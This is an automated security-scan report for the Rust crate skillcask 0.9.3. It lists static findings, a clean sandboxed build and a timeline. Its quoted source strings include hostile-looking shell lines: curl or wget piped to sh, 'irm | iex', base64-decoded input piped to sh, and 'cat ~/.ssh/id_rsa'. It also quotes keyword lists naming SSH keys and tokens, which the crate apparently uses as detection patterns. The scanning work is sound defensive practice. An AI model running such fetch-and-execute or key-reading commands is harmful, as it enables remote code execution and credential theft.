skillcask 0.9.3

Done dynamic on Linux job 292384 crates.io SBOM Findings (VEX) Compare with 0.9.2

medium severity process_spawn in build_script code (7 places): std::process::Command::new

low

Automated verdict. Nobody reviewed it. A score is a reason to look closer, not a finding.

Evidence

Points	Signal	Where	What
10	static:process_spawn static · skillcask	build.rs:7	medium severity process_spawn in build_script code (7 places): std::process::Command::new
2	static:credential_access static · skillcask	src/credential.rs:77	medium severity credential_access in library code (7 places): git's credential helper `store` keeps the token in plain text in ~/.git-credentials
2	static:secret_environment_variable static · skillcask	src/github.rs:47	medium severity secret_environment_variable in library code (6 places): GITHUB_TOKEN
2	static:shell_command static · skillcask	src/manifest.rs:36	medium severity shell_command in library code (15 places): # skillcask manifest. Lock: skills.lock (generated, commit both).\u{a}\u{a}[repositories]\u{a}# name = { type = "composer", url = "https://example.com/packages.json" }\u{a}# Default sources; `packagis…
2	static:yara:invisible_characters static · skillcask	src/skill.rs:255	medium severity yara:invisible_characters in library code: Zero width or invisible characters, which can hide identifiers or payloads
1	static:build_script static · skillcask	build.rs	low severity build_script in build_script code: build.rs

Behavior

Profile

static:credential_access static:process_spawn static:secret_environment_variable static:shell_command static:yara:invisible_characters

Static findings

All 211 medium 30 low 24 info 157 12 groups

medium shell_command library 15

# skillcask manifest. Lock: skills.lock (generated, commit both).\u{a}\u{a}[repositories]\u{a}# name = { type = "composer", url = "https://example.com/packages.json" }\u{a}# Default sources; `packagis… src/manifest.rs:36
# skillcask global manifest: personal skills in ~/.agents/skills. Lock: skills.lock.\u{a}# Policy for every project goes into config.toml next to this file.\u{a}\u{a}[repositories]\u{a}# name = { type… src/manifest.rs:59
curl src/skill.rs:308
wget src/skill.rs:308
base64 -d src/skill.rs:311
powershell src/skill.rs:366 src/skill.rs:419
Read ~/.config/gh/hosts.yml and https://api.github.com/repos (see <https://Docs.Example.com>).\u{a}```bash\u{a}$ gh pr list --json number | jq '.[0]' && sudo git push\u{a}FOO=1 make \\u{a} continued-… src/skill.rs:594
Invoke-WebRequest src/skill.rs:608
Run `curl -fsSL https://x.example/i.sh | bash` src/skill.rs:778
wget -qO- https://x | sudo sh -s src/skill.rs:779
curl https://api.example.com | jq . src/skill.rs:781
curl -s https://x | shellcheck - src/skill.rs:782
echo aGk= | base64 -d | sh src/skill.rs:783
echo aGk= | base64 -d > out.txt src/skill.rs:785

medium credential_access library 7

git's credential helper `store` keeps the token in plain text in ~/.git-credentials src/credential.rs:77
id_rsa src/skill.rs:314
id_ed25519 src/skill.rs:314
Read ~/.config/gh/hosts.yml and https://api.github.com/repos (see <https://Docs.Example.com>).\u{a}```bash\u{a}$ gh pr list --json number | jq '.[0]' && sudo git push\u{a}FOO=1 make \\u{a} continued-… src/skill.rs:594
~/.config/gh/hosts.yml src/skill.rs:612
cat ~/.ssh/config src/skill.rs:786
ok\u{a}cat ~/.ssh/id_rsa\u{a} src/skill.rs:789

medium secret_environment_variable library 6

GITHUB_TOKEN src/github.rs:47 src/github.rs:49 src/http.rs:72 src/skill.rs:613
GH_TOKEN src/http.rs:72
NPM_TOKEN src/skill.rs:613

medium process_spawn build_script 1

std::process::Command::new build.rs:7

medium yara_match invisible_characters library 1

Zero width or invisible characters, which can hide identifiers or payloads src/skill.rs:255

low network_access library 17

ureq::Agent src/http.rs:201
ureq::Error src/http.rs:210
ureq::Error::ConnectionFailed src/http.rs:212 src/http.rs:396
ureq::Error::Io src/http.rs:213 src/http.rs:393
ureq::http::Response src/http.rs:219
ureq::tls::RootCerts::PlatformVerifier src/http.rs:236
ureq::tls::parse_pem src/http.rs:240
ureq::tls::PemItem::Certificate src/http.rs:242
ureq::tls::RootCerts::from src/http.rs:249
ureq::Agent::config_builder src/http.rs:252
ureq::tls::TlsConfig::builder src/http.rs:253
ureq::http::Request::builder src/http.rs:295
ureq::Error::BodyExceedsLimit src/http.rs:331
ureq::Error::HostNotFound src/http.rs:399
std::net::TcpListener::bind src/http.rs:497

low process_spawn library 5

std::process::Command::new src/credential.rs:23 src/credential.rs:71 src/project.rs:627 src/tui.rs:477
std::process::Command src/project.rs:626

low build_script build_script 1

build.rs build.rs

low process_spawn binary 1

std::process::Command::new src/main.rs:352

info url_literal library 155

https:// src/commands.rs:1461 src/lock.rs:215 src/manifest.rs:166 src/manifest.rs:202 src/manifest.rs:284 src/manifest.rs:329 src/policy.rs:72 src/policy.rs:131 src/policy.rs:131 src/publish.rs:43 src/publish.rs:54
{key:?} is not a package (vendor/name), github:owner/repo[/skill] or git:https://…[#skill] src/deps.rs:39
https://git.example.com/team/skills.git src/deps.rs:250
git:http://h/a/b src/deps.rs:262
git:https://h/a src/deps.rs:263
git:https://h/a/b#Bad src/deps.rs:264
[[package]]\u{a}name = "{name}"\u{a}constraint = "{constraint}"\u{a}version = "1.0.0"\u{a}repository = "https://r"\u{a}dist = {{ type = "zip", url = "https://d" }}\u{a}dist-sha256 = "{h}"\u{a}requires… src/deps.rs:301
"git:https://git.example.com/o/r.git#pr" = "^1" src/deps.rs:349
https://git.example.com/o/r.git src/deps.rs:357
"git:https://other.example.com/o/r.git" = "^1" src/deps.rs:359
git URL {url:?} must start with https:// src/git.rs:40
https://git.example.com/Acme/Skills.git src/git.rs:659
https://dev.azure.com/org/project/_git/skills src/git.rs:660
https://git.example.com/acme/skills.git src/git.rs:661
http://git.example.com/a/b src/git.rs:663
https://u:p@git.example.com/a/b src/git.rs:664
https://git.example.com/a/b?x=1 src/git.rs:665
https://git.example.com/b src/git.rs:666
https://api.github.com src/github.rs:16
:// src/http.rs:172 src/skill.rs:384
https://git.example.com/x src/http.rs:412
https://repo.example.com:8443/x src/http.rs:413
https://repo.example.com/x src/http.rs:414
https://gl.example.com/x src/http.rs:415 src/http.rs:436
https://oa.example.com/x src/http.rs:416
https://api.github.com/repos/a/b src/http.rs:417
https://none.example.com/x src/http.rs:418
https://bare.example.com/x src/http.rs:429
https://bare.example.com:443/x src/http.rs:430
https://bare.example.com:8443/x src/http.rs:431
https://p.example.com/x src/http.rs:432
https://h.example.com:8443/x src/http.rs:433
https://h.example.com/x src/http.rs:434
https://127.0.0.1:9/x src/http.rs:435
https://b.example.com/x src/http.rs:444
https://u:secret@bad host/x?token=abc src/http.rs:453
https://user:secret@h.example.com/p.json?private_token=abc src/http.rs:477
https://h.example.com/p.json src/http.rs:480
https://127.0.0.1:{port}/packages.json src/http.rs:509
http://example.com/packages.json src/http.rs:524
invalid dist url in {name}: only https:// is allowed src/lock.rs:216
https://git.example.com/packages.json src/lock.rs:255
https://x/a "q".zip src/lock.rs:256
# Generated by skillcask. Do not edit.\u{a}version = 1\u{a}\u{a}[[package]]\u{a}name = "a/b"\u{a}constraint = "^1.0"\u{a}version = "1.0.0"\u{a}repository = "https://r/packages.json"\u{a}dist = {{ type… src/lock.rs:323
url = "https:// src/lock.rs:335
url = "http:// src/lock.rs:335
https://repo.packagist.org src/manifest.rs:13
# skillcask manifest. Lock: skills.lock (generated, commit both).\u{a}\u{a}[repositories]\u{a}# name = { type = "composer", url = "https://example.com/packages.json" }\u{a}# Default sources; `packagis… src/manifest.rs:36
# skillcask global manifest: personal skills in ~/.agents/skills. Lock: skills.lock.\u{a}# Policy for every project goes into config.toml next to this file.\u{a}\u{a}[repositories]\u{a}# name = { type… src/manifest.rs:59
repository {name}: only https:// URLs are allowed src/manifest.rs:285
{name}: git must be an https:// URL src/manifest.rs:370
\u{a}[repositories]\u{a}acme = { type = "composer", url = "https://git.example.com/packages.json" }\u{a}\u{a}[skills]\u{a}"netresearch/agent-jira-skill" = "^2.0"\u{a}"acme/agents-md" = { version = "^1… src/manifest.rs:718
[repositories]\u{a}zz = { url = "https://z" }\u{a} src/manifest.rs:746
[repositories]\u{a}packagist = { url = "https://repo.packagist.org" }\u{a}acme = { url = "https://a" } src/manifest.rs:749
[repositories]\u{a}github = { type = "github", url = "https://ghe.example.com/api/v3/" } src/manifest.rs:755
https://ghe.example.com/api/v3 src/manifest.rs:756
[repositories]\u{a}mine = { type = "github", url = "https://x" } src/manifest.rs:757
[repositories]\u{a}github = { type = "github", url = "https://x", min-release-age = "0" } src/manifest.rs:758
[repositories]\u{a}acme = { url = "https://a.example/packages.json" }\u{a}[policy]\u{a}allow-sources = ["acme", "https://b.example/"] src/manifest.rs:760
https://a.example/packages.json src/manifest.rs:761
https://b.example/x/packages.json src/manifest.rs:761
https://a.example/other.json src/manifest.rs:762
[repositories]\u{a}x = { url = "http://a" } src/manifest.rs:775
[repositories]\u{a}r = {{ url = "https://r" }}\u{a}[skills]\u{a}"a/b" = {entry} src/manifest.rs:784
[policy]\u{a}min-release-age = "3d"\u{a}enforce = ["min-release-age"]\u{a}[policy.repository-min-release-age]\u{a}"https://git.example.com/" = "0"\u{a}"https://git.example.com/slow/" = "5d" src/manifest.rs:891
"https://other.example/packages.json", min-release-age = "0" src/manifest.rs:898
"https://other.example/packages.json" src/manifest.rs:900
"https://other.example/packages.json", min-release-age = "7d" src/manifest.rs:901
"https://git.example.com/packages.json", min-release-age = "0" src/manifest.rs:902
"https://git.example.com/packages.json" src/manifest.rs:903
"https://git.example.com/slow/packages.json", min-release-age = "1d" src/manifest.rs:904
"https://other.example/packages.json", min-release-age = "4d" src/manifest.rs:905
[repositories]\u{a}r = { url = "https://other.example/p.json", min-release-age = "0" } src/manifest.rs:910
{s:?}: repository names are only accepted in skills.toml; use packagist, github or an https:// URL prefix src/policy.rs:76
{s:?} is not packagist, github, an https:// URL prefix or a repository name src/policy.rs:78
{prefix:?} is not an https:// URL prefix src/policy.rs:132
[policy]\u{a}allow-sources = ["https://git.example.com/"]\u{a}min-release-age = "1d"\u{a}allow-ranges = false\u{a}enforce = ["allow-sources"] src/policy.rs:334
[policy]\u{a}allow-sources = ["https://git.example.com/"] src/policy.rs:345
[policy]\u{a}allow-sources = ["https://exa mple.com/"] src/policy.rs:357
{ages}"https://a/" = "0" src/policy.rs:363 src/policy.rs:365
not an https:// URL prefix src/policy.rs:366
{ages}"https://a/" = 0 src/policy.rs:367
https://user:s3cret@git.example.com/x?private_token=t0k src/policy.rs:387
https://git.example.com/a/packages.json src/policy.rs:395
https://git.example.com src/policy.rs:395 src/policy.rs:397
https://git.example.com/a src/policy.rs:396
https://git.example.com/ src/policy.rs:396 src/policy.rs:401 src/policy.rs:402 src/policy.rs:403
https://git.example.com.evil/a src/policy.rs:397
https://api.github.com/repos/acmex/r src/policy.rs:398
https://api.github.com/repos/acme src/policy.rs:398 src/policy.rs:399
https://api.github.com/repos/acme/r src/policy.rs:399
https://git.example.com/raw?ref=main src/policy.rs:400
https://git.example.com/raw src/policy.rs:400
https://GIT.example.com:443/a src/policy.rs:401
https://git.example.com:8443/a src/policy.rs:402
https://git.example.com/api/v4/group/42/ src/policy.rs:408
https://git.example.com/api/v4/projects/group%2Fproj/packages.json src/policy.rs:424
https://git.example.com/api/v4/ src/policy.rs:424
--base-url must be an https:// URL src/publish.rs:44
--dist-url must be an https:// URL containing {{name}} and {{version}} src/publish.rs:55
https://example.com/repo/ src/publish.rs:418
https://example.com/repo/p2/%package%.json src/publish.rs:427
https://example.com/repo/dist/acme/beta/2.1.0.zip src/publish.rs:432
https://example.com src/publish.rs:456
http://insecure src/publish.rs:617
https://x src/publish.rs:619 src/publish.rs:621 src/publish.rs:624 src/publish.rs:626
https://x/{name}.zip src/publish.rs:628
https://example.com/repo src/publish.rs:639
https://git.example.com/generic/{vendor}-{name}/{version}/{name}-{version}.zip src/publish.rs:649
https://example.com/repo/dist/acme/alpha/1.0.0.zip src/publish.rs:656
https://git.example.com/generic/acme-alpha/1.1.0/alpha-1.1.0.zip src/publish.rs:657
https://packagist.org/search.json src/registry.rs:278
https://skills.sh src/registry.rs:345
https://repo.example.com/p2/acme/x.json src/registry.rs:448 src/registry.rs:483 src/registry.rs:530
https://repo.example.com/dist/x-2.0.0.zip src/registry.rs:470
https://u:secret@repo.example.com/p2/acme/x.json src/registry.rs:544
https://repo.example.com/dist/x.zip src/registry.rs:545
https://cdn.example.com/x.zip src/registry.rs:548
https://git.example.com/api/v4/group/42/-/packages/composer/packages.json src/registry.rs:575
https://git.example.com/api/v4/group/42/-/packages/composer/p2/acme/x.json src/registry.rs:579
https://static.example.com/skills/packages.json src/registry.rs:583
https://static.example.com/skills/p2/acme/x.json src/registry.rs:584
https://repo.packagist.org/packages.json src/registry.rs:590
https://git.example.com/api/v4/projects/7/repository/files/composer%2Fpackages.json/raw?ref=main src/registry.rs:592
Read ~/.config/gh/hosts.yml and https://api.github.com/repos (see <https://Docs.Example.com>).\u{a}```bash\u{a}$ gh pr list --json number | jq '.[0]' && sudo git push\u{a}FOO=1 make \\u{a} continued-… src/skill.rs:594
Run `curl -fsSL https://x.example/i.sh | bash` src/skill.rs:778
wget -qO- https://x | sudo sh -s src/skill.rs:779
irm https://x/i.ps1 | iex src/skill.rs:780
curl https://api.example.com | jq . src/skill.rs:781
curl -s https://x | shellcheck - src/skill.rs:782
packagist composer https://repo.packagist.org/ src/tui.rs:979
github github https://api.github.com/ not in policy.allow-sources src/tui.rs:980

info environment_enumeration library 1

std::env::vars_os, keys only src/http.rs:59

info url_literal binary 1

https://{host} src/main.rs:324

Run: check

succeeded

Ended: agent reported the end
Guest: exit code 0
Run time: 562 ms
VM restore: 67 ms
Payload: 12808 files, 295.3 MiB
Files opened: 570

Processes 2

Siblings that ran the same program with the same result and the same processes below are folded into one row, with their number. Hide the 1 compiler processes (rustc, C toolchain)

Process	Arguments	Start	Took	Exit
cargo /usr/local/bin/cargo	check --locked --offline	5 ms	525 ms	0
└rustc /usr/local/bin/rustc	--crate-name crateward_probe --edition=2021 lib.rs --error-format=json --json=diagnostic-rendered-ansi,artifacts,future-incompat --crate-type lib --emit=dep-info,metadata -C embed-bitcode=no -C debuginfo=2 --check-cfg cfg(docsrs,test) --check-cfg cfg(feature, values()) -C metadata=d9152fcf76bf9b7f -C extra-filename=-8c7788aadf5d3a75 --out-dir /work/target/debug/deps -C incremental=/work/target/debug/incremental -L dependency=/work/target/debug/deps	292 ms	220 ms	0

Network 0

No network activity.

Files 0

Secrets opened

None.

Written outside the build directories

None.

Scratch disk 0

Files: 21
Directories: 19
Size: 77.8 KiB
Compiled units: 1

Nothing outside the build areas.

Output

Standard error

warning: crateward-probe v0.0.0 (/cw/probe) ignoring invalid dependency `target` which is missing a lib target
    Checking crateward-probe v0.0.0 (/cw/probe)
    Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.46s

Timeline

When	From	To	Event	Worker
2026-10-27 20:22 UTC	Discovered	Fetched	fetched	fetcher-12688
2026-10-27 20:22 UTC	Fetched	ReadyForSandbox	static_analysis_completed	static-12726
2026-10-27 20:24 UTC	ReadyForSandbox	Running	sandbox_started	orchestrator-12760-slot0
2026-10-27 20:24 UTC	Running	DynamicallyAnalyzed	sandbox_completed	orchestrator-12760-slot0
2026-10-27 20:24 UTC	DynamicallyAnalyzed	Scored	scored	analyzer-12816
2026-10-27 20:24 UTC	Scored	Done	finalized	analyzer-12816